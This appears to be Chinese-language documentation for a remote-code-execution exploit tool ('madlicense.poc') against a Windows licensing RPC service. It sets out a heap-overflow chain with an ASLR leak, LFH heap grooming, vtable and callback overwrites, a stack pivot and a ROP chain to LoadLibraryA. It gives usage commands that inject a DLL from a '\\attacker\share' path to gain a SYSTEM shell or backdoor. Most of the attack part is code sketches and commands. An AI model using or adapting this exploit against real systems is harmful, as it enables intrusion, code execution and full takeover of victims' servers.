┌─────────────────────────────────────────────────────────────────┐
│                      利用链                                      │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│  LEAK    │  MODEL   │  WRITE   │  GROOM   │ TRIGGER  │ EXECUTE │
│ (ASLR)   │ (Target) │ (Where)  │ (Heap)   │ (Use)    │ (RCE)   │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py  │target_   │write_    │heap_     │trigger   │code_    │
│          │model.py  │primitive │controller│py        │reuse.py │
│          │          │.py       │.py       │          │         │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
          ↓                                              ↓
    ┌───────────┐                              ┌──────────────┐
    │ execution │                              │   payload    │
    │   .py     │                              │     .py      │
    └───────────┘                              └──────────────┘
          ↓                                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                    mitigations.py                         │
    │              （DEP、ASLR、CFG 感知）                        │
    └───────────────────────────────────────────────────────────┘
                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                      exploit.py                           │
    │                   （编排器）                                │
    └───────────────────────────────────────────────────────────┘

# Pack/Unpack - 整数转字节及反向
p64(0xDEADBEEF)      # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141)      # → b'AAAA'
u64(b'\x41\x42...')  # → 0x... (int)

# 循环模式 - 用于识别崩溃偏移
cyclic(100)          # 生成德布鲁因序列
cyclic_find(pattern, value)  # 查找值的偏移

# 对齐 - 内存需对齐
align(0x1003, 0x10)  # → 0x1010（对齐到 16 字节）

启动 1：ntdll.dll @ 0x7FFA12340000
启动 2：ntdll.dll @ 0x7FFB98760000
启动 3：ntdll.dll @ 0x7FFC55550000

class LeakInfo:
    """泄露地址的容器"""
    heap_base: int         # 堆基址
    ntdll_base: int        # ntdll.dll 基址
    kernel32_base: int     # kernel32.dll 基址
    # ...

class LeakProvider:
    """泄露源协调器"""
    sources: List[LeakSource]
    
    def obtain() -> LeakInfo:
        # 依次尝试每个泄露源直到成功

class VulnerableBuffer:
    """将发生溢出的缓冲区"""
    allocation_size: int   # 已分配多少
    write_size: int        # 将写入多少
    overflow_amount: int   # 差值 = 溢出
    
    def calculate_overflow(input_size):
        # 模拟计算错误
        alloc = (input_size // 4) * 3
        actual = ((input_size + 3) // 4) * 3
        return alloc, actual, actual - alloc

class AdjacentObject:
    """将被破坏的对象（堆上的相邻对象）"""
    fields: List[StructField]
    has_vtable: bool       # 是否有虚函数表？
    has_function_ptr: bool # 是否有函数指针？

# 基于逆向分析的假设对象
license_req = AdjacentObject(
    name="CLicenseRequest",
    typical_size=0x100,
    has_vtable=True
)

# 映射的字段
license_req.add_field("vtable",   0x00, 8, VTABLE,   is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)

class WritePrimitive:
    def build_overflow_data(self) -> bytes:
        """
        构建包含精确值的溢出缓冲区
        
        布局：
        [填充至偏移] [受控值] [更多数据]
        """
        data = bytearray(b"A" * max_offset)
        
        for target in self.targets:
            # 在精确偏移处放置精确值
            data[target.offset:target.offset+8] = p64(target.value)
        
        return bytes(data)

# 覆盖虚函数表
write_primitive.set_vtable_overwrite(
    vtable_addr=fake_vtable_address,
    obj_name="CLicenseRequest"
)

# 覆盖回调
write_primitive.set_callback_overwrite(
    callback_addr=gadget_address
)

GROOMING 前：
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
随机分配，不可预测的空洞

GROOMING 后：
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
受控布局，按需的“空洞”

class HeapLayoutController:
    def execute_full_groom(self):
        # 阶段 1：填充现有空洞
        self.phase_fill(50)
        
        # 阶段 2：激活目标桶的 LFH
        # (Windows 约在相同大小分配 17 次后激活 LFH)
        self.phase_activate_lfh()
        
        # 阶段 3：Spray - 创建密集模式
        sprayed = self.phase_spray(200)
        
        # 阶段 4：创建战略空洞
        # 每隔 N 个分配释放一个
        self.phase_create_holes(sprayed, interval=4)
        
        # 阶段 5：稳定
        self.phase_stabilize()

当前状态：
- 内存已破坏 ✓
- 恶意值已写入 ✓
- 但还没人”使用“这个值！

class PostCorruptionTrigger:
    strategies: List[TriggerStrategy]
    
# 实现的策略：

class SecondRequestTrigger:
    """发起第二次 RPC 调用，使用被破坏的对象"""
    
class DestructorTrigger:
    """断开连接 - 强制清理使用被破坏的指针"""
    
class TimerTrigger:
    """等待内部定时器处理被破坏的状态"""

1. 第一次 RPC 调用 → 破坏发生
2. 断开连接 (trigger) → 服务端调用析构函数
3. 析构函数读取被破坏的虚函数表 → 调用我们的地址
4. 受控执行！

class HijackMethod(Enum):
    VTABLE = 0       # 堆溢出中最常见
    FUNCTION_PTR = 1 # 回调指针
    RETURN_ADDR = 2  # 栈溢出（不是我们的情况）

普通对象：
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ method1 address  │ ← 合法
│             │     │ method2 address  │
└─────────────┘     └──────────────────┘

破坏后：
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ GADGET ADDR      │ ← 我们的！
│             │     │ GADGET ADDR      │
└─────────────┘     └──────────────────┘

当 method1 被调用时 → 执行我们的 gadget！

# 将 RSP 交换到我们拥有 ROP 链地址的 gadget
xchg rax, rsp; ret  # RAX = 我们的地址 → RSP = 我们的地址

# 现在“栈”是我们的受控区域！
# 每个 RET 跳到 ROP 链的下一个 gadget

堆上的 Shellcode → 崩溃（访问冲突 - 执行）

GADGET 1: pop rcx; ret    ← 将值放入 RCX
GADGET 2: pop rdx; ret    ← 将值放入 RDX
GADGET 3: call LoadLibraryA ← 调用函数！

STACK/ROP CHAIN（我们的受控区域）：
┌────────────────────┐
│ addr de pop_rcx    │ ← RSP 指向这里
├────────────────────┤
│ 给 RCX 的值        │ ← 将被“pop”到 RCX
├────────────────────┤
│ addr de pop_rdx    │ ← RET 跳到这里
├────────────────────┤
│ 给 RDX 的值        │
├────────────────────┤
│ addr LoadLibraryA  │ ← 最终调用！
└────────────────────┘

# 加载 DLL（DLL 注入）
build_load_library(dll_path_addr) → ROP chain

# 分配可执行内存
build_virtual_alloc(size) → ROP chain + RAX = RWX 地址

# 执行命令
build_winexec(cmd_addr) → ROP chain

class PayloadIntent(Enum):
    CRASH_TEST = 0    # 验证利用是否工作
    DLL_INJECT = 1    # 加载我们的 DLL
    COMMAND_EXEC = 2  # 执行命令
    SHELLCODE = 3     # 通过 ROP 执行 shellcode

def build_dll_inject(dll_path: str) -> bytes:
    """
    最终结构：
    
    ┌──────────────────────────────┐
    │ ROP Chain (LoadLibraryA)    │ ← 首先执行
    ├──────────────────────────────┤
    │ 填充                          │
    ├──────────────────────────────┤
    │ "\\attacker\share\pay.dll\0"│ ← 路径字符串
    └──────────────────────────────┘
    
    ROP 链将字符串地址传递给 LoadLibraryA
    """

def adapt_exploit(config):
    if mitigations.DEP.enabled:
        config["use_rop"] = True      # 必需
        
    if mitigations.ASLR.enabled:
        config["require_leak"] = True # 必需
        
    if mitigations.HEAP_HARDENING.enabled:
        config["spray_count"] *= 2    # 更多 Spray

┌─────────────────────────────────────────────────────────────────┐
│                    利用流程                                     │
└─────────────────────────────────────────────────────────────────┘

   STAGE 1: LEAK（绕过 ASLR）
   ├─ 获取内存地址
   ├─ 输入：手动或自动泄露
   └─ 输出：包含模块基址的 LeakInfo

             ↓

   STAGE 2: ANALYZE（目标映射）
   ├─ 计算溢出量
   ├─ 识别相邻对象
   └─ 确定破坏偏移

             ↓

   STAGE 3: GROOM（堆塑形）
   ├─ Fill → Activate LFH → Spray → Holes
   ├─ 创建确定性布局
   └─ 为易受攻击的分配准备“着陆区”

             ↓

   STAGE 4: PAYLOAD（构建）
   ├─ 构建 ROP 链
   ├─ 包含所需字符串/数据
   └─ 与溢出数据结合

             ↓

   STAGE 5: CORRUPT（触发溢出）
   ├─ 发送恶意 RPC 调用
   ├─ 导致溢出
   └─ 覆盖目标（vtable/callback）

             ↓

   STAGE 6: TRIGGER（强制使用）
   ├─ 断开连接或第二次调用
   ├─ 强制使用被破坏的指针
   └─ 劫持执行

             ↓

   STAGE 7: EXECUTE（RCE）
   ├─ ROP 链执行
   ├─ LoadLibraryA 加载 DLL
   └─ 任意代码正在执行！

             ↓

   ┌─────────────────────────────────────────────────────────────┐
   │  结果：以 SYSTEM 权限获取反向 shell、后门等                 │
   └─────────────────────────────────────────────────────────────┘

pip install impacket

# 仅检查服务是否运行
python -m madlicense.poc -t 10.0.0.5 --check

# 空运行（不发送 payload，模拟一切）
python -m madlicense.poc -t 10.0.0.5 --dry-run \
    --ntdll-base 0x7ffa12340000

# 完整 DLL 注入
python -m madlicense.poc -t 10.0.0.5 \
    --dll "\\\\attacker\\share\\payload.dll" \
    --heap-base 0x22345670000 \
    --ntdll-base 0x7ffa12340000 \
    --kernel32-base 0x7ffa12500000

# 执行 calc.exe（经典 PoC）
python -m madlicense.poc -t 10.0.0.5 \
    --cmd calc.exe \
    --ntdll-base 0x7ffa12340000